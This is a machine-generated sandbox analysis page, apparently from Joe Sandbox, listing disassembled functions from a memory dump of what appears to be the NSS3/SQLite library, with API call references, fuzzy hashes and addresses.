Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: 3bdefce8d04e86ecf628d8715d95f543b6256dfef275566b9332fa5acbcfcad5
Instruction ID: 244d53fa2a0b001cae45e19898ca866033879c4594d7afcf166cfa7f2057d7b5
Opcode Fuzzy Hash: 3bdefce8d04e86ecf628d8715d95f543b6256dfef275566b9332fa5acbcfcad5
Instruction Fuzzy Hash: 7D4159B4A04A15CFCB00EF78D1858AABBF0FF49354B058669EC599B710EB30E895CBD1

Function 6CAD25E0 Relevance: 12.1, APIs: 8, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 6CAD2610
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000), ref: 6CAD261F

Part of subcall function 6CAD0BE0: malloc.MOZGLUE(6CAC8D2D,?,00000000,?), ref: 6CAD0BF8
Part of subcall function 6CAD0BE0: TlsGetValue.KERNEL32(6CAC8D2D,?,00000000,?), ref: 6CAD0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 6CAD263B
_wopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,0000010A,00000000,?,000000FF,00000000,00000000), ref: 6CAD264A
free.MOZGLUE(00000000,?,?,00000000), ref: 6CAD2656
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CBBDEB8), ref: 6CAD2676
_close.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,00000000), ref: 6CAD2684
free.MOZGLUE(00000000,?,000000FF,00000000,00000000), ref: 6CAD268D

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: ByteCharMultiWidefree$Alloc_UtilValue_close_fdopen_wopenmalloc
String ID:
API String ID: 3511306438-0
Opcode ID: ca1893cd4792805e6c4db622babd15d2938d6537acbd44fe45d8b0e4d6d1b7ec
Instruction ID: 3084e9f8ec7b9941326c3f9e971ec06f4bbd24d9f8875bb736854ded54d31fb5
Opcode Fuzzy Hash: ca1893cd4792805e6c4db622babd15d2938d6537acbd44fe45d8b0e4d6d1b7ec
Instruction Fuzzy Hash: 2211C8B07413122BFF042A759C5DABB35BCEB45255F050638FD19C6681EE68ED50C6A2

Function 6CB1A7D0 Relevance: 12.1, APIs: 8, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000002C,00000000,6CB02AE9,?,6CB1A98D,?,?,?,?), ref: 6CB1A7D7

Part of subcall function 6CAD0D30: calloc.MOZGLUE ref: 6CAD0D50
Part of subcall function 6CAD0D30: TlsGetValue.KERNEL32 ref: 6CAD0D6D

SECITEM_CopyItem_Util.NSS3(00000000,-00000014,?,0000065C), ref: 6CB1A80B

Part of subcall function 6CACFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAC8D2D,?,00000000,?), ref: 6CACFB85
Part of subcall function 6CACFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CACFBB1

PK11_FreeSymKey.NSS3(?,?,?,?,?,?,0000065C), ref: 6CB1A82E

Part of subcall function 6CABADC0: TlsGetValue.KERNEL32(?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAE10
Part of subcall function 6CABADC0: EnterCriticalSection.KERNEL32(?,?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAE24
Part of subcall function 6CABADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CA9D079,00000000,00000001), ref: 6CABAE5A
Part of subcall function 6CABADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAE6F
Part of subcall function 6CABADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAE7F
Part of subcall function 6CABADC0: TlsGetValue.KERNEL32(?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAEB1
Part of subcall function 6CABADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAEC9

PK11_FreeSymKey.NSS3(?,?,?,?,?,?,0000065C), ref: 6CB1A845
SECITEM_ZfreeItem_Util.NSS3(-00000014,00000000,?,?,?,?,?,0000065C), ref: 6CB1A857
free.MOZGLUE(00000000,?,?,?,?,?,?,?,0000065C), ref: 6CB1A860
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,0000065C), ref: 6CB1A81E

Part of subcall function 6CB1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB1C2BF

PR_SetError.NSS3(FFFFE013,00000000,0000065C), ref: 6CB1A872

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: UtilValue$Alloc_CriticalEnterErrorFreeItem_K11_Sectionfree$ArenaCopyUnlockZfreecallocmemcpymemset
String ID:
API String ID: 1855126447-0
Opcode ID: 5405fcec24554860988cef1d74898daa72201664399310215648776ad8f0132c
Instruction ID: e4fe7473c5e62649e61dcea4599d2310cde5dcb1f13a7d1d80ad8915478d15df
Opcode Fuzzy Hash: 5405fcec24554860988cef1d74898daa72201664399310215648776ad8f0132c
Instruction Fuzzy Hash: 451123B1A0034067FB209E6AAC01F4B77989F4065DF104438EC0A97F81F734F50E8AA2

Function 6CA665D0 Relevance: 10.8, APIs: 4, Strings: 3, Instructions: 261COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA6670B
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,6CA62B2C), ref: 6CA6675E
EnterCriticalSection.KERNEL32(?), ref: 6CA6678E
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,6CA62B2C), ref: 6CA667E1

Strings

winUnmapfile1, xrefs: 6CA66964
winClose, xrefs: 6CA668C5
winUnmapfile2, xrefs: 6CA6698B

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: winClose$winUnmapfile1$winUnmapfile2
API String ID: 3168844106-373099266
Opcode ID: 74ef6d3b5f08eedcacd0553f4670261a0ec3d02a235d6d324b8524843694fe0d
Instruction ID: f50cba0dbd1fb87e2a569b2689cce73a4f6c5b5bb5935bf0efec9e5fd382e3bb
Opcode Fuzzy Hash: 74ef6d3b5f08eedcacd0553f4670261a0ec3d02a235d6d324b8524843694fe0d
Instruction Fuzzy Hash: B9A17236B01250CBDF089F65E8AA66E3779BF4A715B184078E906DBB40DB34AD81CFD1

Function 6CA0A630 Relevance: 10.7, APIs: 7, Instructions: 192COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,6CBD1308,?,?,6CA06ABD,00000000), ref: 6CA0A6B7
LeaveCriticalSection.KERNEL32(?), ref: 6CA0A70A
EnterCriticalSection.KERNEL32(?,00000000,6CBD1308,?,?,6CA06ABD,00000000), ref: 6CA0A73A
LeaveCriticalSection.KERNEL32(?), ref: 6CA0A78D
EnterCriticalSection.KERNEL32(?,00000000,6CBD1308,?,?,6CA06ABD,00000000), ref: 6CA0A7CA
LeaveCriticalSection.KERNEL32(?), ref: 6CA0A821
sqlite3_free.NSS3(?,00000000,6CBD1308,?,?,6CA06ABD,00000000), ref: 6CA0A8A6

Part of subcall function 6C9F9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CA0C6FD,?,?,?,?,6CA5F965,00000000), ref: 6C9F9F0E
Part of subcall function 6C9F9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CA5F965,00000000), ref: 6C9F9F5D

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$sqlite3_free
String ID:
API String ID: 1407842778-0
Opcode ID: 34fe8e746e4ac9baab70460f97692601304fb8338fd8a3decca5aded7b6ceedc
Instruction ID: f1c57b94f83c72055a941a31ce936471a9fd79d29e9eac4b0f7d161b92c7d174
Opcode Fuzzy Hash: 34fe8e746e4ac9baab70460f97692601304fb8338fd8a3decca5aded7b6ceedc
Instruction Fuzzy Hash: E9614275700540CFDB08DF64E9AA66A737AFB4A369B1C412DD40647A00DB39FD86CBD2

Function 6CA62D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CA62D69

Strings

winUnmapfile1, xrefs: 6CA62F55
winTruncate2, xrefs: 6CA62EF8
winUnmapfile2, xrefs: 6CA62F7F
winSeekFile, xrefs: 6CA62E9C
winTruncate1, xrefs: 6CA62EBE

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: e050fe30f5614f68e2acf310dee214c51a509839098fcaa31a85aa3ac2caa2d8
Instruction ID: 5ab1ae65d4a5d0b0ab1f64e70583c8de90fd0aea6fa0864060936aaccace7f8b
Opcode Fuzzy Hash: e050fe30f5614f68e2acf310dee214c51a509839098fcaa31a85aa3ac2caa2d8
Instruction Fuzzy Hash: C161AE75A00205DFDB04CF69DC94AAE7BB5FF49314F148238E919ABB80DB31AD46CB91

Function 6CA78620 Relevance: 10.6, APIs: 7, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

SECITEM_CopyItem_Util.NSS3(00000000,00000000,6CA77310,00000000,6CA77310,?,?,00000004,?), ref: 6CA78684

Part of subcall function 6CACFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAC8D2D,?,00000000,?), ref: 6CACFB85
Part of subcall function 6CACFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CACFBB1

SECITEM_CopyItem_Util.NSS3(00000000,-0000000C,6CA77304,?,?,?,00000000,6CA77310,?,?,00000004,?), ref: 6CA7869F
PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,?,?,?,?,?,00000000,6CA77310,?,?,00000004,?), ref: 6CA786D7
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,00000000,6CA77310,?,?,00000004,?), ref: 6CA78706
PORT_ArenaAlloc_Util.NSS3(00000000,00000018,00000000,6CA77310,00000004,00000000,?,6CA78A20,00000004,00000000,6CA77310,?,?,00000004,?), ref: 6CA78656

Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD10F3
Part of subcall function 6CAD10C0: EnterCriticalSection.KERNEL32(?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD110C
Part of subcall function 6CAD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1141
Part of subcall function 6CAD10C0: PR_Unlock.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1182
Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000008,00000000,6CA77310,00000004,00000000,?,6CA78A20,00000004,00000000,6CA77310,?,?,00000004,?), ref: 6CA78763
PORT_ArenaGrow_Util.NSS3(00000000,6CA78A20,?,?,00000000,6CA77310,00000004,00000000,?,6CA78A20,00000004,00000000,6CA77310,?,?,00000004), ref: 6CA78795

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$CopyGrow_Item_Value$AllocateCriticalEnterSectionUnlockmemcpy
String ID:
API String ID: 1239214001-0
Opcode ID: edab0757da17ce9ed80277259f892125aa72fc68a5204f4ba0abaa766cbc824c
Instruction ID: 3378154794453d6fd08acb5e80a23621d782d592b4094284eae076f4faa132cc
Opcode Fuzzy Hash: edab0757da17ce9ed80277259f892125aa72fc68a5204f4ba0abaa766cbc824c
Instruction Fuzzy Hash: 4641E579600210AFE7209F25CC00BA73769FF41358F19416AEC16AB751E775E985CBF1

Function 6CABAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CABAB3E,?,?,?), ref: 6CABAC35

Part of subcall function 6CA9CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CA9CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CABAB3E,?,?,?), ref: 6CABAC55

Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD10F3
Part of subcall function 6CAD10C0: EnterCriticalSection.KERNEL32(?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD110C
Part of subcall function 6CAD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1141
Part of subcall function 6CAD10C0: PR_Unlock.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1182
Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CABAB3E,?,?), ref: 6CABAC70

Part of subcall function 6CA9E300: TlsGetValue.KERNEL32 ref: 6CA9E33C
Part of subcall function 6CA9E300: EnterCriticalSection.KERNEL32(?), ref: 6CA9E350
Part of subcall function 6CA9E300: PR_Unlock.NSS3(?), ref: 6CA9E5BC
Part of subcall function 6CA9E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CA9E5CA
Part of subcall function 6CA9E300: TlsGetValue.KERNEL32 ref: 6CA9E5F2
Part of subcall function 6CA9E300: EnterCriticalSection.KERNEL32(?), ref: 6CA9E606
Part of subcall function 6CA9E300: PORT_Alloc_Util.NSS3(?), ref: 6CA9E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CABAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CABAB3E), ref: 6CABACD7
PORT_Alloc_Util.NSS3(?), ref: 6CABAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CABAD2B

Part of subcall function 6CA9F360: TlsGetValue.KERNEL32(00000000,?,6CABA904,?), ref: 6CA9F38B
Part of subcall function 6CA9F360: EnterCriticalSection.KERNEL32(?,?,?,6CABA904,?), ref: 6CA9F3A0
Part of subcall function 6CA9F360: PR_Unlock.NSS3(?,?,?,?,6CABA904,?), ref: 6CA9F3D3

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: a9aca97835c6254dd37377b3e8a20da8afb39b91df4939981fdc21350c113470
Instruction ID: 0f59442cd37a15f152e63b22f968bfe9afe846e59bdc361d980ad2df774c6794
Opcode Fuzzy Hash: a9aca97835c6254dd37377b3e8a20da8afb39b91df4939981fdc21350c113470
Instruction Fuzzy Hash: AD312CB1E006055FEB009F69CC415AF77BBEF85718B198128E8156B740FB31ED9987A1

Function 6CA98C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CA98C7C

Part of subcall function 6CB39DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CB80A27), ref: 6CB39DC6
Part of subcall function 6CB39DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CB80A27), ref: 6CB39DD1
Part of subcall function 6CB39DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB39DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA98CB0
TlsGetValue.KERNEL32 ref: 6CA98CD1
EnterCriticalSection.KERNEL32(?), ref: 6CA98CE5
PR_Unlock.NSS3(?), ref: 6CA98D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CA98D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA98D93

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 172cad3cec503378985d233f19f0b605a16930e39c21813fafa7b663f75007d1
Instruction ID: 254c7eb07d603740d606f16b4a4f70be519394dae80078e3e73e9d70f2aa3e7f
Opcode Fuzzy Hash: 172cad3cec503378985d233f19f0b605a16930e39c21813fafa7b663f75007d1
Instruction Fuzzy Hash: 68312871A01215AFD7009F68DC4679AB7F4FF15318F24013AEA1967B60D771A9A4C7C1

Function 6CAB8500 Relevance: 10.6, APIs: 7, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CAB95DC,00000000,00000000,00000000,?,6CAB95DC,00000000,00000000,?,6CA97F4A,00000000,?,00000000,00000000), ref: 6CAB8517

Part of subcall function 6CACBE30: SECOID_FindOID_Util.NSS3(6CA8311B,00000000,?,6CA8311B,?), ref: 6CACBE44

PORT_NewArena_Util.NSS3(00000800,00000000,00000000,?,6CA97F4A,00000000,?,00000000,00000000), ref: 6CAB8585
PORT_ArenaAlloc_Util.NSS3(00000000,00000034,?,00000000,00000000,?,6CA97F4A,00000000,?,00000000,00000000), ref: 6CAB859A
SEC_ASN1DecodeItem_Util.NSS3(00000000,00000000,6CB9D8C4,6CAB95D0,?,?,?,00000000,00000000,?,6CA97F4A,00000000,?,00000000,00000000), ref: 6CAB85CC
SECOID_GetAlgorithmTag_Util.NSS3(-0000001C,?,?,?,?,?,?,?,00000000,00000000,?,6CA97F4A,00000000,?,00000000,00000000), ref: 6CAB85E1
PORT_FreeArena_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA97F4A,00000000,?), ref: 6CAB85F4

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$AlgorithmArena_Tag_$Alloc_ArenaDecodeFindFreeItem_
String ID:
API String ID: 738345241-0
Opcode ID: b483caae8335f6e7761028d065f59b6ad3415f55fd6c2cdb85b9f6cdcf901b39
Instruction ID: 44f1e06824c9fef517336740f6e0605e09fb921a2ffb998f6b1c3e4c1d7156ed
Opcode Fuzzy Hash: b483caae8335f6e7761028d065f59b6ad3415f55fd6c2cdb85b9f6cdcf901b39
Instruction Fuzzy Hash: 783108B1D0118357E710452D9DA0BEA221DBB21398F590673E815F7EC2FB34D9D84662

Function 6CA84590 Relevance: 10.6, APIs: 7, Instructions: 100memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CA845B5

Part of subcall function 6CAD0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA787ED,00000800,6CA6EF74,00000000), ref: 6CAD1000
Part of subcall function 6CAD0FF0: PR_NewLock.NSS3(?,00000800,6CA6EF74,00000000), ref: 6CAD1016
Part of subcall function 6CAD0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA787ED,00000008,?,00000800,6CA6EF74,00000000), ref: 6CAD102B

PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CA845C9

Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD10F3
Part of subcall function 6CAD10C0: EnterCriticalSection.KERNEL32(?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD110C
Part of subcall function 6CAD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1141
Part of subcall function 6CAD10C0: PR_Unlock.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1182
Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD119C

memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CA845E6
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CA845F8

Part of subcall function 6CACFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAC8D2D,?,00000000,?), ref: 6CACFB85
Part of subcall function 6CACFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CACFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA84647
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CB9A0F4,?), ref: 6CA8468C
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA846A1

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
